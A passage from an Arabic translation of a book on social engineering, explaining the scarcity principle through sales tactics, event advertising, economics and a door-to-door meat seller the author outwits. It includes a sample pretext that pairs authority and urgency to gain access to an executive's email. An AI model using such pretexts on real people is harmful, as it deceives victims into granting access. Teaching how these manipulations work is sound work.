‫ﻟﻸﺑد" اﻟرﺳﺎﺋل اﻟﺗﻲ ﺗﻐري اﻟﻧﺎس ﻋﻠﻰ اﻟﻘدوم ﻣن ﺟﻣﯾﻊ اﻷﻧﺣﺎء ﻟﻠﺣﺻول ﻋﻠﻰ ﺣﺻﺔ ﻣن اﻟﻣﻧﺗﺞ اﻟذي ﻟن ﯾروھوا ﻗرﯾﺑﺎ ﻣرة أﺧرى‪.‬‬
‫اﺳﺗﺧدام اﻟﻧدرة )‪ (scarcity‬ﻓﻲ ﺳﯾﺎق اﻟﻣﺑﯾﻌﺎت ھو اﻷﻓﺿل واﻟﻣﺷﮭورة ﺑﻌﺑﺎرات ﻣﺛل "اﻟﺣﻖ اﻵن! اﻟﻛﻣﯾﺎت ﻣﺣدودة!" ﺗﻘﻧﯾﺎت أﺧرى ھﻲ‬
‫"اﻟﻣﺗﺻل اﻷول ﺳوف ﯾﺣﺻل ﻋﻠﻰ ﻗطﻌﺔ ﻣﺟﺎﻧﯾﺔ"‪ ،‬أو اﻟﺣﺻول ﻋﻠﻰ إﻣدادات ﻣﺗﻌﻣده ﻟﻔﺗره ﻗﺻﯾرة ﻣن ﻣﻧﺗﺞ ذات ﺷﻌﺑﯾﺔ‪ .‬ﻓﻲ اﻵوﻧﺔ اﻷﺧﯾرة‪،‬‬
‫ظﮭرت ھذه اﻟﻣﻣﺎرﺳﺔ اﻷﻛﺛر ﺷﻌﺑﯾﺎ ﻣﻊ ﺟﮭﺎز ﻧﯾﻧﺗﻧدو وي‪ .‬ﺣﯾث ﯾﻘول ﺟﯾﺳون دوﺑﺳون‪ ،‬وھو ﻛﺎﺗب ﻟﺟﺎﻣﺳﺗورا‪" ،‬ﻟﻛن أﻋﺗﻘد أن ]ﻧﯾﻧﺗﻧدو[ ﻗﻠﻠت‬
‫ﻋﻣدا اﻻﻣدادات اﻟﺗﻲ ﺻﻧﻌﺗﮭﺎ ھذا اﻟﻌﺎم‪ .‬اﻟﻌﺎم اﻟﺟدﯾد ﯾﺑدأ أﺑرﯾل ‪ ،1‬وأﻋﺗﻘد أﻧﻧﺎ ﺳﻧﺷﮭد ﺗدﻓﻖ ﻟﻺﻣدادات‪.‬‬
‫‪http://www.gamasutra.com/php-bin/news_index.php?story=13297‬‬
‫ﺑﻣﺟرد أن ھذه اﻟﻣﻧﺗﺟﺎت أﺻﺑﺢ ﻣن اﻟﺳﮭل اﻟﻌﺛور ﻋﻠﯾﮭﺎ‪ ،‬ﻓﺎن ﻗﻠﯾل ﻣن اﻟﻣﺳﺗﮭﻠﻛﯾن ﺳوف ﯾﻛون ﻣﮭﺗﻣﺎ ﺑﮭﺎ ﻋﻠﻰ اﻟﻣدى اﻟطوﯾل‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪913‬‬

‫ﺣﯾث أﻋﯾش‪ ،‬ﻗﺎم ﻣدﯾر ﻣﻌرض ﻟﺑﯾﻊ اﻟﺳﯾﺎرات ﺑﻌرض اﻋﻼﻧﺎ ﯾوم اﻟﺧﻣﯾس ﻗﺎﺋﻼ ان ﻋﻠﯾﮫ اﻟﺗﺧﻠص ﻣن ﻋدد ‪X‬ﻣن اﻟﺳﯾﺎرات ﺑﺳﺑب اﻟﻣﺧزون‬
‫اﻟﺟدﯾد اﻟذي ﺳوف ﯾﺻل‪ .‬اﻷﺳﻌﺎر ﺳوف ﺗﻛون ﻣﺧﻔﺿﺔ ﺟدا وﺑﻌض ﺳﯾﺎرات ﻓﻲ اﻻﻧﺗظﺎر ﻟذﻟك‪ ،‬ﺣﯾث ﻟم ﯾﻌد ﯾﺗم إﻧﺗﺎﺟﮭﺎ‪ ،‬وﻧﮭﺎﯾﺔ اﻻﺳﺑوع ھذا‬
‫ﺳوف ﺗﻛون اﺧر ﻧﮭﺎﯾﺔ أﺳﺑوع ﻋﻠﻰ اﻻطﻼق واﻟﺗﻲ ﯾﻣﻛﻧك أن ﺗﺄﺗﻲ ﻷﺧذ ﻗطﻌﺔ ﻣن أﻛﺛر ﻣﺑﯾﻌﺎ ﻓﻲ اﻟﺗﺎرﯾﺦ‪.‬‬
‫ارﺗﻔﻌت اﻟﻣﺑﯾﻌﺎت ﻣن ﺧﻼل ﺳﻘف ﻧﮭﺎﯾﺔ اﻷﺳﺑوع ھذا‪ ،‬وﺑﺎﻟﺗﺎﻟﻲ ﻓﺈن اﻟﺑﯾﻊ ﯾﻛون أﻛﺛر ﻣن اﻟﻣﺗوﻗﻊ؟ ھذا اﻹﻋﻼن ﯾﺗم وﺿﻌﮫ ﻛل ﯾوم ﺧﻣﯾس ﻷﻛﺛر‬
‫ﻣن ﺛﻼﺛﺔ أﺷﮭر‪ .‬ﻛﺛﯾرا ﻣﺎ ﻛﻧت أﺗﺳﺎءل ﻛﯾف ﻟﻠﻧﺎس ﻟم ﯾﻣﻛﻧﮭم اﻛﺗﺷﺎف ذﻟك‪ ،‬وﻟﻛن ﺗم ﺻﻔﻘﺔ ﺑﯾﻊ ﻟﻛﺛﯾر ﻣن اﻟﺳﯾﺎرات ﺑﺎﺳﺗﺧدام ھذا اﻷﺳﻠوب‪.‬‬
‫‪ -‬اﻷﺣداث اﻻﺟﺗﻣﺎﻋﯾﺔ‬
‫اﻷﺣداث اﻻﺟﺗﻣﺎﻋﯾﺔ ﯾﻣﻛن أن ﺗظﮭر ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن ﻟﺗﺑدو أﻛﺛر ﺣﺻرﯾﺔ إذا أدﺧﻠت اﻟﻧدرة‪ .‬ﺗﺟدر اﻹﺷﺎرة إﻟﻰ أن اﻟﻣﻧﺎﻓﻊ اﻻﺟﺗﻣﺎﻋﯾﺔ‬
‫اﻟﻣﺗﺻورة ﻟﺣﺿور ھذه اﻷﺣداث ﻏﺎﻟﺑﺎ ً ﻣﺎ ﺗرﺗﻔﻊ ﻓﻲ ھذه اﻟظروف‪ .‬ﻓﻲ ﻣﺟﺎل اﻹﻋﻼن‪ ،‬ﺗﺣرﻛﮭﺎ ھذه اﻟﻧﻘطﺔ ﻣﻊ إﻋﻼﻧﺎت ﻟﺣدث ﻣوﺳﯾﻘﻰ واﻟﺗﻲ‬
‫ﺗﺷﯾر إﻟﻰ اﻟﻛﯾﻔﯾﺔ اﻟﺗﻲ ﺗم ﻓﯾﮭﺎ ﺑﯾﻊ اﻟﺣﻔﻠﺔ اﻷﺧﯾرة ﺑﺳرﻋﺔ‪.‬‬
‫ﻟﻘد ﻋرﻓت اﻟﻌدﯾد ﻣن اﻟﻣطﺎﻋم اﻟﺷﻌﺑﯾﺔ اﻟﺗﻲ ﺗﻐﻠﻖ أﺑواﺑﮭﺎ ﻟﺗظﮭر اﻧﺷﻐﺎﻻً ﻣﻣﺎ ھﻲ ﻋﻠﯾﮫ ﺣﻘﺎ ً‪ .‬ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﺗم ﺗﺻور أن ھذه اﻟﻣطﺎﻋم ذات ﺷﻌﺑﯾﺔ‬
‫ﻟﻠﻐﺎﯾﺔ ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن وھذا ﯾؤدي اﻟﻰ اﻟرﻏﺑﺔ اﻟﻣﺗزاﯾدة ﻟﺗﻧﺎول اﻟطﻌﺎم ﻓﻲ ﺗﻠك اﻟﻣﻧﺷﺄة‪ .‬ﻟرؤﯾﺔ أﺣد اﻹﻋﻼﻧﺎت اﻟﺗﻲ ﺗذﻛر ﻓﻲ اﻟواﻗﻊ‬
‫اﺳﺗﺧدام اﻟﻧدرة ﻓﻲ ﺗﻌزﯾز ھذا اﻟﺣدث‪ ،‬اﻧﺗﻘل إﻟﻰ اﻟراﺑط اﻟﺗﺎﻟﻰ‪.‬‬
‫‪http://www.social-engineer.org/wiki/archives/Scarcity/Scarcity-Advertisment.html‬‬
‫ﻧﺟد ان ھذا اﻹﻋﻼن ﯾﺗﻛون ﻣن أرﺑﻌﺔ ﻣﻛوﻧﺎت رﺋﯾﺳﯾﺔ ﻣن اﻟﻧدرة‪:‬‬
‫‪ -‬اﻟﺣدث اﻟوﺻول اﻟﯾﮫ ﻣﺣدود )‪.(The launch is limited access‬‬
‫‪ -‬اﻟﺗطﺑﯾﻖ ﻏﯾر ﻋﺎم وﻣﺣدود ﻓﻘط )‪.(The application is not public and only limited‬‬
‫‪ -‬اﻟﻣروﺟﯾن ﻣﻧﺗﻘﺎة ﺑﻌﻧﺎﯾﺔ وﻣﺣدودﯾن )‪.(Promoters are handpicked and limited‬‬
‫‪ -‬اﻟﻛﺗﺎب اﻹﻟﻛﺗروﻧﻲ ﻣﺟﺎﻧﺎ ﻟﻠﻣﺣظوظ ﺑﻣﺎ ﻓﯾﮫ اﻟﻛﻔﺎﯾﺔ ﻟﯾﺗم اﺧﺗﯾﺎره ﻟﻛﻲ ﯾﺄﺗﻲ‪.‬‬
‫‪The e-book is free to those lucky enough to be chosen to come‬‬
‫ﻛل ﻣن ھذه اﻟﻧﻘﺎط ﺗﺳﺗﺧدم اﻟﻧدرة ﺑﺟﻌل أن ﯾﻛون ﻛل ﻣن ﻣرﺗﺎدي اﻟﺣﻔﻼت ﯾﺷﻌرون ﺑﺄن اﻟدﺧول اﻟﻰ ھذا اﻟﺣدث ﺻﻌب ﺟدا وھو ﻓﻘط ﻟﻠﻧﺧﺑﺔ‪،‬‬
‫وﻗﻠﯾل‪ ،‬وﯾﻣﻛن أن ﯾﻛون ﻓﺧور ﺑﺎﻣﺗﻼك ھذه اﻟﻔرﺻﺔ اﻟﻧﺎﺋﯾﺔ ﺑﺧطو ﺧطوه ﺑﺎﻟﻘدم ﻋﻠﻰ ھذه اﻷرض اﻟﻣﺑﺟﻠﺔ‪.‬‬
‫‪ -‬اﻟﺗﻔﺎﻋل اﻟﻧﻘدي )اﻻﻗﺗﺻﺎد(‬
‫اﻟﻧظم اﻟﻧﻘدﯾﺔ )اﻻﻗﺗﺻﺎد( ﻣﺑﻧﯾﺔ ﻋﻠﻰ اﻟﻣﺗﻔﻖ ﻋﻠﯾﮭﺎ اﺟﺗﻣﺎﻋﯾﺎ ﻋﻠﻰ اﻟﻛﺎﺋن اﻟذي ﯾﻧدر‪ .‬ﻛﻠﻣﺎ ﻛﺎن اﻟﻛﺎﺋن أﻛﺛر ﻧدرة‪ ،‬ﻛﻠﻣﺎ ﻛﺎن اﻷﻋﻠﻰ ﻗﯾﻣﺔ‪ .‬وﯾﻣﻛن‬
‫أن ﯾﻧﻌﻛس ھذا ﻋﻠﻰ اﻟﺳﯾﺎﺳﺔ اﻟﻧﻘدﯾﺔ وﯾﺣﺎرب ﺿد اﻟﺗﺿﺧم‪ .‬ﻋﻧدﻣﺎ ﯾﻛون ھﻧﺎك اﻟﻛﺛﯾر ﻣن اﻟﻣﺎل ﻓﻲ اﻟﺳوق ﻓﻲ وﻗت ﻣﻌﯾن‪ ،‬ﺗﻧﺧﻔض اﻟﻘﯾﻣﺔ‬
‫اﻟﻣﺗﺻورة ﻟﻠﻣﺎل وﺗرﺗﻔﻊ ﺗﻛﻠﻔﺔ اﻟﻛﺎﺋﻧﺎت ﺣﯾث أن اﻟﻛﺎﺋﻧﺎت ﻻ ﺗزال ﺗﺣﺗﻔظ ﺑﻧﻔس اﻟﻘﯾﻣﺔ اﻟﻧﺳﺑﯾﺔ‪ .‬ﻟﺧﻔض اﻟﺗﺿﺧم‪ ،‬ﺗﺗم إزاﻟﺔ اﻟﻣﺎل ﻣن اﻟﺳوق‪،‬‬
‫وﺟﻌﻠﮭﺎ أﻛﺛر ﻧدرة‪.‬‬
‫أﺳﺎﺳﯾﺎت اﻻﻗﺗﺻﺎد ﯾﺗﻛون ﻣن ﺗﺧﺻﯾص اﻟﻣوارد اﻟﺗﻲ ﻟﮭﺎ اﺳﺗﺧداﻣﺎت ﺑدﯾﻠﺔ‪ .‬اﻟداﻓﻊ ﻣن وراء ھذا اﻟﺗﺧﺻﯾص ﻧﺎﺗﺞ ﻟﻧدرة ھذا اﻟﻛﺎﺋن اﻟذي ﯾﺟري‬
‫ﺗﺧﺻﯾﺻﮫ‪ .‬ﻛﻠﻣﺎ ﻛﺎن اﻟﻣورد أﻛﺛر ﻧدره‪ ،‬ﻛﻠﻣﺎ ارﺗﻔﻌت اﻟﻘﯾﻣﺔ اﻟﻣﺗﺻورة اﻟﺗﻲ ﯾﺣﺗﻔظ ﺑﮭﺎ اﻟﻛﺎﺋن‪ .‬وھذا اﻟﺳﺑب ﻓﻲ اﻟذھب ﯾﺳﺗﺣﻖ أﻛﺛر ﻣن اﻟﻣﻠﺢ‪،‬‬
‫اﻟذي ﺗﺑﻠﻎ ﻗﯾﻣﺗﮫ أﻛﺛر ﻣن اﻟطﯾن‪.‬‬
‫ﻣﺻﻧوﻋﺔ ﻣن أﺳﺎﺳﯾﺎت اﻻﻗﺗﺻﺎد ﻣﺎ ﯾﺻل ﻣن ﺗﺧﺻﯾص اﻟﻣوارد اﻟﺗﻲ ﻟﮭﺎ اﺳﺗﺧداﻣﺎت اﻟﺑدﯾﻠﺔ‪ .‬ھو ھذا ﻣن ﻗﺑل ﻧدرة اﻟﻛﺎﺋﻧﺎت اﻟﺗﻲ ﯾﺗم‬
‫ﺗﺧﺻﯾﺻﮭﺎ‪ .‬وﻧدرة اﻟﻣوارد‪ ،‬وارﺗﻔﺎع اﻟﻘﯾﻣﺔ اﻟﻣﺗﺻورة ﯾﺣﺗﻔظ اﻟﻛﺎﺋن‪ .‬ھذه اﻟﻧدرة ھﻲ اﻟﺳﺑب وراء ان اﻟذھب أﺛﻣن ﻣن اﻟﻣﻠﺢ‪ ،‬واﻟذي ﺗﺑﻠﻎ ﻗﯾﻣﺗﮫ‬
‫أﻛﺛر ﻣن اﻟطﯾن‪.‬‬
‫‪ -‬اﻟﺗﻔﺎﻋل اﻻﺟﺗﻣﺎﻋﻲ‬
‫أﯾﺿﺎ‪ ،‬ﻓﻲ إطﺎر اﻟﺗﻔﺎﻋﻼت اﻟﯾوﻣﯾﺔ ﻛﺛﯾرا ﻣﺎ ﯾﺳﺗﺧدم اﻟﻧدرة‪ .‬ﯾﻣﻛن إدﺧﺎل اﻟﻧدرة ﻓﻲ اﻟﻣواﻗف اﻻﺟﺗﻣﺎﻋﯾﺔ ﻓﻲ ﻣﺣﺎوﻟﺔ ﻟﺟﻌل ﺷﻲء ﻣﺎ واﺣد‬
‫ﻟﯾرﺗﻔﻊ ﻓﻲ اﻟﻘﯾﻣﺔ‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﯾﻣﻛن ﻟﻠﻣرء أن ﯾﺗﺻرف ﻋﻠﻰ أﻧﮫ ﻣﺷﻐول ﺟدا ﻋﻠﻰ أﺳﺎس ﻣﻧﺗظم‪ ،‬ووﻗت اﻟﻔراغ ﻣن اﻟﺻﻌب اﻟﺣﺻول‬
‫ﻋﻠﯾﮫ‪ .‬ھذا اﻟﻌﻣل ﻗد ﯾﺑرر ﻋدم ﻗﺿﺎء اﻟوﻗت ﻣﻊ ﺷﺧص ﻗد ﯾﻛون ﻟدﯾﮫ واﺟب ﻟﻘﺿﺎء ﺑﻌض اﻟوﻗت ﻣﻌﮫ‪ ،‬وﻓﻲ اﻟوﻗت ﻧﻔﺳﮫ ﯾﺟﻌل اﻟوﻗت اﻟذي‬
‫ﯾﻧﻔﻘﮫ ﯾﺑدو أن ﻟﮫ ﻗﯾﻣﺔ أﻛﺛر ﻣن ذﻟك ﺑﻛﺛﯾر‪.‬‬
‫اﻻھﺗﻣﺎم ﯾﻣﻛن اﻟﺗﻼﻋب ﺑﮫ ﻋن طرﯾﻖ اﺳﺗﺧدام اﻟﻧدرة ﻛذﻟك‪ .‬ﻓﻛر ﻛﯾف أن ﻛﺛﯾر ﻣن اﻟﻧﺎس ﯾﺷﺗﻛون ﻣن اﻟﺑﺎﺋﻌﯾن اﻟذﯾن ﯾزﻋﺟوﻧﮭم ﻓﻲ اﻟﻣﺗﺟر‬
‫ﻋﻧدﻣﺎ ﻻ ﯾوﺟد ﻧدرة ﻓﻲ اھﺗﻣﺎم ﻣﻧدوﺑﻲ اﻟﻣﺑﯾﻌﺎت‪ ،‬وﻣﻊ ذﻟك ﻓﺄﻧﮭم ﯾﻛوﻧوا ﻣﺳﺗﺎءﯾن ﻋﻧدﻣﺎ ﯾﺗم ﺗﺟﺎھﻠﮭم ﻣن ﻗﺑل ﻣﻧدوﺑﻲ اﻟﻣﺑﯾﻌﺎت ﺣﯾث أن‬
‫اﻧﺗﺑﺎھﮭم ﻧدرة‪ .‬ﻋﻠﻰ اﻟﻌﻣوم‪ ،‬ﻓﺎن اﻟرﻏﺑﺔ ھﻲ اﻟﺗﻲ ﺗﺣرك اﻟﻧﺎس اﻟرﻏﺑﺔ اﺗﺟﺎه ﻣﺎ ھو ﺻﻌب اﻟﺣﺻول ﻋﻠﯾﮫ‪ ،‬ﻷﻧﮫ ﯾﻧظر إﻟﯾﮭﺎ ﻋﻠﻰ أﻧﮭﺎ أﻛﺛر ﻗﯾﻣﺔ‪.‬‬
‫ھذا ﯾﻧطﺑﻖ ﻋﻠﻰ اﻻھﺗﻣﺎم ﻛذﻟك‪.‬‬
‫ﻛﺛﯾرا ﻣﺎ ﯾﺗم اﺳﺗﺧدام اﻟﻧدرة ﻓﻲ ﺳﯾﺎﻗﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻟﺧﻠﻖ ﺷﻌور ﺑﺎﻹﻟﺣﺎح ﻓﻲ ﺳﯾﺎق ﺻﻧﻊ اﻟﻘرار‪ .‬ﯾﻣﻛن ﻟﮭذه اﻟﺣﺎﺟﺔ اﻟﻣﻠﺣﺔ ﻏﺎﻟﺑﺎ ﻣﺎ‬
‫ﺗؤدي إﻟﻰ اﻟﺗﻼﻋب ﻓﻲ ﻋﻣﻠﯾﺔ ﺻﻧﻊ اﻟﻘرار‪ ،‬واﻟﺳﻣﺎح ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﺑﺎﻟﺗﺣﻛم ﻓﻲ اﻟﻣﻌﻠوﻣﺎت اﻟﻣﻘدﻣﺔ ﻟﻠﺿﺣﯾﺔ‪ .‬وﯾﺗم ذﻟك ﻋﺎدة ﺑﺎﺳﺗﺧدام‬
‫ﺧﻠﯾط ﻣن ﻣﺑﺎدئ اﻟﺳﻠطﺔ )‪ (authority‬واﻟﻧدرة )‪ .(scarcity‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﻣﺛل ﻗول ﺷﻲء‪" :‬اﻟﻣدﯾر اﻟﻣﺎﻟﻲ‪ ،‬اﻟﺳﯾد ﺳﻣﯾث‪ ،‬أﺗﺻل ﺑﻲ ﻗﺑل‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪914‬‬

‫ﻣﻐﺎدرﺗﮫ ﻟﻌطﻠﺔ ﻧﮭﺎﯾﺔ أﺳﺑوع اﻟطوﯾﻠﺔ وﻗﺎل ﻟﻲ أن أﺗﻰ وأﺻﻠﺢ ﻣﺷﻛﻠﺔ ﺑرﯾده اﻹﻟﻛﺗروﻧﻲ‪ .‬وﻗﺎل اﻧﮫ ﻛﺎن ﻣرﯾﺿﺎ وﻣﺗﻌﺑﺎ ﻣن اﻟﺗﻌطل واﻟﻣطﻠوب‬
‫ﺗﺻﻠﯾﺢ ھذا ﻗﺑل ﯾوم اﻻﺛﻧﯾن‪" .‬ھذا ﯾﺧﻠﻖ اﻟﺣﺎﺟﺔ اﻟﻣﻠﺣﺔ إﻟﻰ ﺟﺎﻧب ﻧدرة وﺟود اﻟﻣدﯾر اﻟﻣﺎﻟﻲ ﻟﻠﺗﺣدث اﻟﯾﮫ واﻟوﻗت ھو ﻋﻧﺻر ﻧﺎدر‪.‬‬
‫ﯾﻣﻛن اﺳﺗﺧدام ﻧدرة ﻣﺧﺗﻠطﺔ ﻣﻊ اﻟﻣﺑﺎدئ اﻷﺧرى أﯾﺿﺎ ﻟﺟﻌل اﻟﮭﺟوم ﻓﺗﺎﻛﺎ‪ .‬وﻓﻲ ﻛﻠﺗﺎ اﻟﺣﺎﻟﺗﯾن‪ ،‬اﻟﻧدرة ﺗﺧﻠﻖ اﻟرﻏﺑﺔ وھذه اﻟرﻏﺑﺔ ﯾﻣﻛن أن‬
‫ﺗﺟﻌل ﺷﺧص ﻣﺎ ﻻﺗﺧﺎذ ﻗرار ﻗد ﯾﻧدم ﻋﻠﯾﮫ ﻓﻲ وﻗت ﻻﺣﻖ‪.‬‬
‫ﻟﻘد ﺛﺑت ﻟﻲ ھذا ﻣؤﺧرا ﻋﻧدﻣﺎ ﺗوﻗﻔت ﺷﺎﺣﻧﺔ ﺑﺎﻟﻘرب ﻣن ﻣﻧزﻟﻲ ﻣﻊ ﺛﻼﺟﮫ ﻓﻲ اﻟظﮭر‪ .‬اﻗﺗرب رﺟل ﺷﺎب ﯾرﺗدي زي ﻻﺋﻖ ﻣن زوﺟﺗﻲ وأوﺿﺢ‬
‫أﻧﮫ ﺑﺎﺋﻊ اﻟﻠﺣوم‪ .‬اﻧﮫ ﯾﻘدم اﻟﻠﺣم ﻟﻠﻌﻣﻼء وﻛﺎن ﻋﻠﻰ وﺷك اﻟﺗوﺟﮫ إﻟﻰ ﻣﻛﺗب اﻟﻌﻣل ورآھﺎ ﻓﻲ اﻟﻔﻧﺎء‪ .‬ﺑدأ اﻟﺣدﯾث ﻋن أﺳﻌﺎر اﻟﻠﺣوم وﻏﻼء اﻷﻣور‬
‫ﻓﻲ اﻟﻣﺧﺎزن‪ .‬زوﺟﺗﻲ ﻋﻠﻰ ﻋﻠم ﺑﺄﺳﻌﺎر اﻟﺳوق وواﻋﯾﺔ ﺟدا‪ ،‬ﻟذﻟك أدى اﻟﻰ إﻧﺷﺎء ﻋﻼﻗﺔ‪ .‬ﺑﺎﻹﺿﺎﻓﺔ اﻟﻰ اﻧﮫ ﻛﺎن ﯾﺗﺣدث ﺑﻠﻛﻧﺔ اﻟﺟﻧوب ﻟطﯾﻔﺔ‬
‫ﺟدا‪ ،‬ودﻋﺎ ﻟﮭﺎ "ﺳﯾدﺗﻲ" وﻛﺎن ﻣﺣﺗرم ﺟدا‪.‬‬
‫ﺑﻌد ﺑﺿﻊ دﻗﺎﺋﻖ ﻣن اﻟﺣدﯾث‪ ،‬ھﻲ أظﮭر ﻓﺟﺎءه اﻟﺳؤال اﻟذي ﯾوﻗف ﻋﺎدة ﻣوت اﻟﺑﺎﻋﺔ‪" ،‬ﻛم ﺗرﯾد ﺛﻣﻧﺎ ﻟﮭﺎ؟"‬
‫ﺑدون ﻓﻘد اﻟﻛﺛﯾر ﻣﻣﺎ ﻗﺎم ﺑﮫ ﻧﺟﺎح ﯾﻘول "اﺳﻣﻊ‪ ،‬ﻟﻘد ﻗﻣت ﺑﺑﯾﻊ ھذه طوال اﻟﯾوم ﻣﻘﺎﺑل ‪ 400‬دوﻻر ﻟﻛل ﺻﻧدوق‪ ،‬وﻟﻛن ھذا أﺧر ﺻﻧدوق ﻟدى‪.‬‬
‫وأﺣب أن اذھب إﻟﻰ اﻟﻣﻛﺗب ﻣﻊ ﺛﻼﺟﺔ ﻓﺎرﻏﺔ وأﻋطﯾك ﺑﻌض اﻟﻠﺣوم ﻋﺎﻟﯾﺔ اﻟﺟودة ﻓﻲ اﻟوﻗت ﻧﻔﺳﮫ "‪.‬‬
‫أوه ﻻ‪ ،‬اﻟﺻﻧدوق اﻷﺧﯾر! وﻗد ﻗﺎل ﻟﮭﺎ ﻣن ﻗﺑل أﻧﮫ ﯾﺄﺗﻲ ھﻧﺎ ﻣرة واﺣده ﻛل ﺷﮭرﯾن‪ .‬ﻗد أﺛﯾرت ھذه اﻟرﻏﺑﺔ‪ ،‬وﻟﻛن زوﺟﺗﻲ ﻟﯾﺳت دﻣﯾﺔ‪ .‬ﻋرﻓت‬
‫أﻧﮭﺎ ﻛﺎن ﯾﺟري اﻟﺗﻼﻋب ﺑﮭﺎ‪ .‬ﻓﻘﺎﻣت ﺑﻌذر ﻧﻔﺳﮭﺎ وﺟﺎءت اﻟﻰ‪.‬‬
‫ھو ذھب ﻣن ﺧﻼل اﻟﻛﻼم اﻟﻣﻌﺳول ﻟﮫ ووﺿﻊ ﻧدرة ﻋﻠﻰ ﺑﺿﺎﻋﺗﮫ‪ .‬ﺑﺎﻟطﺑﻊ‪ ،‬ھذا اﻟﻧوع ﻣن اﻟﺣﺳﺎب ﯾﻣﻛن أن ﯾﻛون درﺳﺎ ﻓﻲ ﻛﯾﻔﯾﺔ ﻋدم اﻟوﻗوع‬
‫ﻟﮭذا اﻟﺗﻛﺗﯾك‪ .‬اﻟﻣﺷﻛﻠﺔ ھﻲ أن اﻟﻌﺎطﻔﺔ ﺗﺗدﺧل‪ .‬ﯾرى أن ﻟدي ﺷواء ﻓﻲ اﻟﺧﺎرج وﯾﺑدو أﻧﮭﺎ ﺗﺳﺗﺧدم‪ ،‬ﻟذﻟك ﻓﮭو ﯾﻌﻠم أﻧﻧﻲ أﺣب طﮭﻲ اﻟطﻌﺎم ﻓﻲ‬
‫اﻟﺧﺎرج ﻓﮭو ﯾﻠﻌب ﻋﻠﻰ ذﻟك‪ .‬ﺛم ﯾﺗﺣدث ﻋن ﻧوﻋﯾﺔ اﻟﻠﺣوم وﺑﺳرﻋﺔ ﯾﺟﻌل ﻣﻘﺎرﻧﺎت ﻟﺟودة ﻣطﻌم وﻣﺎ ﻓﻲ اﻟﺻﻧﺎدﯾﻖ ﻟﮫ‪.‬‬
‫اﻟﻛﺛﯾر ﻣن اﻟﻧﺎس ﯾﻣﻛن أن ﯾﻘﻌوا ﺑﺳﮭوﻟﺔ ﻓﻲ اﻟﺟﺎﻧب اﻟﻌﺎطﻔﻲ ﻣن ﺣﯾﺎت اﻟﺑﺎﺋﻊ‪" .‬ﻣﺎذا ﻟو ﻛﺎن ھو اﻻﺧﯾر ﻟﮫ؟" "ھو ﻋﻠﻰ ﺣﻖ‪ ،‬وھذا أرﺧص‬
‫ﺑﻛﺛﯾر ﻣن ﺗﻧﺎول اﻟطﻌﺎم ﻓﻲ اﻟﺧﺎرج‪" ".‬ھو أﺗﻲ ﻟﻲ ‪ ...‬أﻧﺎ ﻻ أﻣﻠك اﻟوﻗت ﺣﺗﻰ أﻗود إﻟﻰ اﻟﻣﺧزن"‪.‬‬
‫ﺑدﻻ ﻣن ذﻟك‪ ،‬ﻗﻣت ﺑﻧزع اﻷﻟﺔ اﻟﺣﺎﺳﺑﺔ وﺳﺄﻟﺗﮫ ﻋن اﻟﻣﺑﻠﻎ ﻟﮭذﯾن اﻟﺻﻧدوﻗﯾن اﻻﺧرﯾن‪ ،‬ﻣﻘﺳوﻣﺎ ﻋﻠﻰ اﻟوزن وﻣن ﺛم ﺳﺄﻟت زوﺟﺗﻲ ﻛم ﻛﺎﻧت‬
‫ﺗدﻓﻊ ﻋﺎدة ﻟﻠرطل اﻟواﺣد ﻓﻲ اﻟﻣﺧزن‪ .‬ﻋﻧدﻣﺎ ﺟﺎء ﺳﻌرھﺎ أﻗل ﺑﻧﺳﺑﺔ ‪ 3.00‬دوﻻر ﻟﻠرطل اﻟواﺣد أﻧﺎ ﺑﺑﺳﺎطﺔ ﺳﻛت‪ .‬اﻵن ﻋواطﻔﮫ ظﮭرت‪ .‬ﺣﯾث‬
‫ﺳﺎرع ﻟﺣﻔظ ﻣﺎء اﻟوﺟﮫ‪ .‬ﻓﻘﺎم ﺑﺧﻔض اﻟﺳﻌر اﻟﻰ ‪ 150‬دوﻻر‪ .‬أﻧﺎ ﻣرة أﺧرى ﻗﻣت ﺑﺑﻌض اﻟﺣﺳﺎﺑﺎت‪ ،‬وﺟدت اﻧﮫ ﻻ ﯾزال أﻛﺛر ﺒ ‪$ 0،50‬‬
‫ﻟﻠرطل اﻟواﺣد‪.‬‬
‫اﻻن ﯾﺣﺎول اﻟﺣدﯾث ﻋن اﻟﺟودة واﻟراﺣﺔ‪ ،‬وﺟﻣﯾﻊ ﺗﻠك اﻟﺟواﻧب اﻟﺗﻲ ﺗﺟﻌﻠﮭﺎ ﺗﺳﺗﺣﻖ ‪ $ 0،50‬اﻷﻛﺛر‪ .‬ﻗﻣت ﺑﺗﺣرﯾك ﻣوﺿوﻋﻲ وﻣرﻛزي ﺑﻌﯾدا‬
‫ﻋﻧﮫ وإظﮭﺎر ﻋدم اﻻھﺗﻣﺎم‪ .‬دون أن أﻗول أي ﺷﻲء‪ ،‬ﺣﺎول ان ﯾﻛﻣل طرﯾﻘﮫ وﻣﻊ ﻛﻼم ﻣﻌﺳول ﺿﻌﯾف وﻗدم ﻟﻲ ‪ $ 50‬ﺧﺻم آﺧر‪ .‬ﻓﻘﻠت ﻟﮫ‪:‬‬
‫"آﺳف‪ ،‬أﻧﺎ ﻻ أﻋﺗﻘد ان ھذا ﯾﺳﺗﺣﻖ ذﻟك"‪.‬‬
‫ﺛم ﻓﻌل ﺧطﺄ ﻛﻼﺳﯾﻛﻲ ﺣﯾث أظﮭر ﻛﯾف ﻛﺎﻧت ﻣزاﻋﻣﮫ ﻋن اﻟﻧدرة ﻛﺎذﺑﺔ ﺣﯾث ﻛﺎن ﺳﯾرﺿﺦ أﻛﺛر‪" .‬ﻛم ﺗرﯾد أن ﺗدﻓﻊ ﻟﮭذه اﻟﺻﻧﺎدﯾﻖ؟"‬
